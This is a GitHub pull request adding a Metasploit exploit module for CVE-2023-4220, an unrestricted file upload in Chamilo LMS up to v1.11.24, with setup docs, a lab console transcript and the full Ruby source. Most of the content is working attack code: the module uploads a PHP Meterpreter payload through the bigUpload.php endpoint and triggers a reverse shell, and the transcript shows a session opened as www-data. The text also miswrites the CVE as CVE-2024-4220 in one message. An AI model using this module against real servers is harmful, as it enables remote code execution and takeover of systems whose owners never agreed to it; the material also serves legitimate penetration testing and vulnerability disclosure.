Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Chamilo v1.11.24 Unrestricted File Upload (CVE-2023-4220) #19629

Open
wants to merge 3 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,89 @@
## Vulnerable Application
Chamilo LMS is a free software e-learning and content management system. In versions prior to <= v1.11.24
a webshell can be uploaded via the bigload.php endpoint. If the GET request parameter `action` is set to
`post-unsupported` file extension checks are skipped allowing for attacker controlled .php files to be uploaded to:
`/main/inc/lib/javascript/bigupload/files/` if the `/files/` directory already exists - it does not exist
by default.

### Setup

A vulnerable docker-compose configuration can be found at the following link: https://github.com/vulhub/vulhub/pull/559
1. Clone the repo `git clone https://github.com/vulhub/vulhub.git`
1. Checkout the pull request mentioned above: `git checkout CVE-2023-4220`
1. Run `cd vulhub/chamilo/CVE-2023-4220`
1. Start the environment: `docker compose up`
1. Navigate to `http://127.0.0.1:8080` to complete the installation wizard.
1. Note when filling out the database IP address and credentials - the DB hostname is the name of the container which is
`mariadb` (not `localhost` or `127.0.0.1`).
1. Once the installation wizard is complete the target should be ready to be
exploited with the module. This container has the non-default `/files/` directory created already.

## Verification Steps

1. Start msfconsole
1. Do: `use linux/http/chamilo_bigupload_webshell`
1. Set the `RHOST`, `RPORT`, and `LHSOT` options
1. Run the module
1. Receive a Meterpreter session as the `www-data` user.

## Scenarios
### Chamilo 1.11.18 running in Docker
```
msf6 > use linux/http/chamilo_bigupload_webshell
[*] Using configured payload php/meterpreter/reverse_tcp
msf6 exploit(linux/http/chamilo_bigupload_webshell) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf6 exploit(linux/http/chamilo_bigupload_webshell) > set rport 8080
rport => 8080
msf6 exploit(linux/http/chamilo_bigupload_webshell) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(linux/http/chamilo_bigupload_webshell) > show options

Module options (exploit/linux/http/chamilo_bigupload_webshell):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.16.199.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 PHP



View the full module info with the info, or info -d command.

msf6 exploit(linux/http/chamilo_bigupload_webshell) > run

[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The directory /main/inc/lib/javascript/bigupload/files/ exists on the target indicating the target is vulnerable.
[+] The target is vulnerable. File upload was successful (CVE-2024-4220 was exploited successfully).
[*] Sending stage (40004 bytes) to 172.16.199.1
[+] Deleted 1nZaWHvP
[+] Deleted kFAqQcbWxs.php
[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.1:60031) at 2024-11-11 10:42:06 -0800

meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer : c2064983b0e1
OS : Linux c2064983b0e1 6.10.11-linuxkit #1 SMP PREEMPT_DYNAMIC Thu Oct 3 10:19:48 UTC 2024 x86_64
Meterpreter : php/linux
meterpreter >
```
119 changes: 119 additions & 0 deletions modules/exploits/linux/http/chamilo_bigupload_webshell.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,119 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck

class UploadFileError < StandardError; end

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Chamilo v1.11.24 Unrestricted File Upload PHP Webshell',
'Description' => %q{
Chamilo LMS is a free software e-learning and content management system. In versions prior to <= v1.11.24
a webshell can be uploaded via the bigload.php endpoint. If the GET request parameter `action` is set to
`post-unsupported` file extension checks are skipped allowing for attacker controlled .php files to be uploaded to:
`/main/inc/lib/javascript/bigupload/files/` if the `/files/` directory already exists - it does not exist
by default.
},
'Author' => [
'Ngo Wei Lin', # discovery
'jheysel-r7' # module
],
'References' => [
[ 'URL', 'https://starlabs.sg/advisories/23/23-4220/'],
[ 'URL', 'https://github.com/H4cking4All/CVE-2023-4220/tree/main'],
[ 'CVE', '2023-4220']
],
'License' => MSF_LICENSE,
'Platform' => %w[php],
'Privileged' => false,
'Arch' => [ ARCH_PHP ],
'Targets' => [
[
'PHP',
{
'Platform' => ['php'],
'Arch' => ARCH_PHP
}
],
],
'DisclosureDate' => '2023-11-28',
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, ],
'Reliability' => [ REPEATABLE_SESSION, ]
}
)
)
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/main/inc/lib/javascript/bigupload/files/')
)

return CheckCode::Safe('The directory /main/inc/lib/javascript/bigupload/files/ does not exist on the target') if res&.code == 404

print_good('The directory /main/inc/lib/javascript/bigupload/files/ exists on the target indicating the target is vulnerable.')
test_file_content = rand_text_alphanumeric(8)
test_file_name = rand_text_alphanumeric(8)

begin
upload_file(test_file_content, test_file_name)
rescue UploadFileError => e
return CheckCode::Safe("#{e.class}:#{e}")
end

CheckCode::Vulnerable('File upload was successful (CVE-2024-4220 was exploited successfully).')
end

def upload_file(file_contents, file_name)
vars_form_data = [
{
'name' => 'bigUploadFile',
'data' => file_contents,
'filename' => file_name,
'mime_type' => 'application/octet-stream'
}
]

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/main/inc/lib/javascript/bigupload/inc/bigUpload.php'),
'vars_form_data' => vars_form_data,
'vars_get' => {
'action' => 'post-unsupported'
}
)

raise UploadFileError, 'The file upload failed.' unless res&.code == 200 && res&.body == 'The file has successfully been uploaded.'

register_file_for_cleanup(file_name)
end

def exploit
file_contents = payload.encoded
file_name = "#{Rex::Text.rand_text_alpha(8..16)}.php"

begin
upload_file(file_contents, file_name)
rescue UploadFileError => e
fail_with(Failure::UnexpectedReply, "#{e.class}:#{e}")
end

send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('/main/inc/lib/javascript/bigupload/files', file_name)
})
end
end